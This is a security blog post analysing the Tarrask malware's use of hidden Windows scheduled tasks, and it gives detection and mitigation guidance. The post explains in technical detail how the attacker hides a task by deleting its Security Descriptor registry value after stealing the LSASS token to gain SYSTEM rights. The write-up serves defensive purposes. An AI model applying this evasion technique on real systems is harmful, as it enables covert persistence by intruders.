We’ve noted that the Tarrask malware generates several artifacts upon the creation of a scheduled task, whether using the Task Scheduler GUI or the schtasks command line utility. Profiling the use of either of these tools can aid investigators in tracking this persistence mechanism.

The following registry keys are created upon creation of a new task:

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}

The first subkey, created within the Tree path, matches the name of the scheduled task. The values created within it (Id, Index, and SD) contain metadata for task registration within the system. The second subkey, created within the Tasks path, is a GUID mapping to the Id value found in the Tree key. The values created within (Actions, Path, Triggers, etc.) contain the basic parameters necessary to facilitate execution of the task.

To demonstrate the value in the artifacts generated, shown in the following figures, we have created “My Special Task” which is set to execute the binary “C:\Windows\System32\calc.exe” on a regular interval.

Similar information is also stored within an extensionless XML file created within C:\Windows\System32\Tasks, where the name of the file matches the name of the task. This is displayed in Figure 2, where we name the task “My Special Task” as an example.

Note that the “Actions” value stored within the Tasks\{GUID} key points to the command line associated with the task. In Figure 2, there is a reference to “C:\Windows\System32\calc.exe” within the “Edit Binary Value” dialog, and there is a path referenced within the “<Command>” section in the extensionless XML file in Figure 3. The fact that this value is stored within two different locations can prove useful in recovering information regarding the task’s purpose in the event the threat actor has taken steps to cover their tracks.

Finally, there are two Windows event logs that record actions related to the creation and operation of Scheduled Tasks – Event ID 4698 within the Security.evtx log, and the Microsoft-Windows-TaskScheduler/Operational.evtx log.

Neither of these are audited by default and must be explicitly turned on by an administrator. Microsoft-Windows-TaskScheduler/Maintenance.evtx will exist by default, but only contains maintenance-related information for the Task Scheduler engine.

Effectively hiding scheduled tasks

In this scenario, the threat actor created a scheduled task named “WinUpdate” via HackTool:Win64/Tarrask in order to re-establish any dropped connections to their command and control (C&C) infrastructure. This resulted in the creation of the registry keys and values described in the earlier section, however, the threat actor deleted the SD value within the Tree registry path.

In this context, SD refers to the Security Descriptor, which determines the users allowed to run the task. Interestingly, removal of this value results in the task “disappearing” from “schtasks /query” and Task Scheduler. The task is effectively hidden unless an examiner manually inspects the aforementioned registry paths.

Issuing a “reg delete” command to delete the SD value will result in an “Access Denied” error even when run from an elevated command prompt. Deletion must occur within the context of the SYSTEM user. It is for this reason that the Tarrask malware utilized token theft to obtain the security permissions associated with the lsass.exe process. Upon execution of the token theft, the malware could operate with the same privileges as LSASS, making the deletion possible.

It is also important to note that the threat actor could have chosen to completely remove the two registry keys within Tree and Tasks, and the XML file created within C:\Windows\System32\Tasks. This would effectively remove the on-disk artifacts associated with the scheduled task, but the task would continue to run according to the defined triggers until the system rebooted, or until the associated svchost.exe process responsible for executing the task was terminated.

It’s possible the threat actor wanted to ensure persistence across reboots and therefore chose not to perform those steps, instead deleting only the SD value; however, we also speculate that the threat actor was unaware that the task would continue to run even after these components were removed.

Recommendations and cyber resilience guidance

Job or task schedulers are services that have been present in the Windows operating system for many years. The attacks we described signify how the threat actor HAFNIUM displays a unique understanding of the Windows subsystem and uses this expertise to mask activities on targeted endpoints to maintain persistence on affected systems and hide in plain sight.

As such, we recognize that scheduled tasks are an effective tool for adversaries to automate certain tasks while achieving persistence, which brings us to raising awareness about this oft-overlooked technique. We also want to bring attention to the fact that threat actors may utilize this method of evasion to maintain access to high value targets in a manner that will likely remain undetected. This could be especially problematic for systems that are infrequently rebooted (e.g., critical systems such as domain controllers, database servers, etc.).

The techniques used by the actor and described in this post can be mitigated or detected by adopting the following recommendations and security guidelines¹:

• Enumerate your Windows environment registry hives looking in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree registry hive and identify any scheduled tasks without SD (security descriptor) Value within the Task Key. Perform analysis on these tasks as needed.
• Modify your audit policy to identify Scheduled Tasks actions by enabling logging “TaskOperational” within Microsoft-Windows-TaskScheduler/Operational. Apply the recommended Microsoft audit policy settings suitable to your environment.
• Enable and centralize the following Task Scheduler logs. Even if the tasks are ‘hidden’, these logs track key events relating to them that could lead you to discovering a well-hidden persistence mechanism
  • Event ID 4698 within the Security.evtx log
  • Microsoft-Windows-TaskScheduler/Operational.evtx log
• The threat actors in this campaign used hidden scheduled tasks to maintain access to critical assets exposed to the internet by regularly re-establishing outbound communications with C&C infrastructure. Remain vigilant and monitor uncommon behavior of your outbound communications by ensuring that monitoring and alerting for these connections from these critical Tier 0 and Tier 1 assets is in place.

Indicators of compromise (IOCs)

The following list provides IOCs observed during our investigation. We encourage customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

Microsoft 365 Defender Detections

How customers can identify this in Microsoft 365 Defender:

Microsoft Defender Antivirus

Microsoft Defender for Endpoint on detects implants and components as the following:

• HackTool:Win64/Tarrask!MSR
• HackTool:Win64/Ligolo!MSR

Microsoft Defender for Endpoint detects malicious behavior observed as the following:

• Behavior:Win32/ScheduledTaskHide.A

Microsoft Sentinel Detections

Microsoft Sentinel customers can use the following detection queries to look for this activity:

• Tarrask malware hash IOC: This query identifies a hash match related to Tarrask malware across various data sources.
• Scheduled Task Hide: This query uses Windows Security Events to detect attempts by malware to hide the scheduled task by deleting the SD (Security Descriptor) value. Removal of SD value results in the scheduled task “disappearing” from “schtasks /query” and Task Scheduler.
• Microsoft Defender AV Hits: This query looks for Microsoft Defender AV detections related to Tarrask malware using SecurityAlerts table. In Microsoft Sentinel the SecurityAlerts table includes only the Device Name of the affected device, this query joins the DeviceInfo table to clearly connect other information such as Device group, IP, logged on users etc. This way, the Microsoft Sentinel user can have all the pertinent device info in one view for the alerts.

¹ The technical information contained in this article is provided for general informational and educational purposes only and is not a substitute for professional advice. Accordingly, before taking any action based upon such information, we encourage you to consult with the appropriate professionals. We do not provide any kind of guarantee of a certain outcome or result based on the information provided. Therefore, the use or reliance of any information contained in this article is solely at your own risk.

The post Tarrask malware uses scheduled tasks for defense evasion appeared first on Microsoft Security Blog.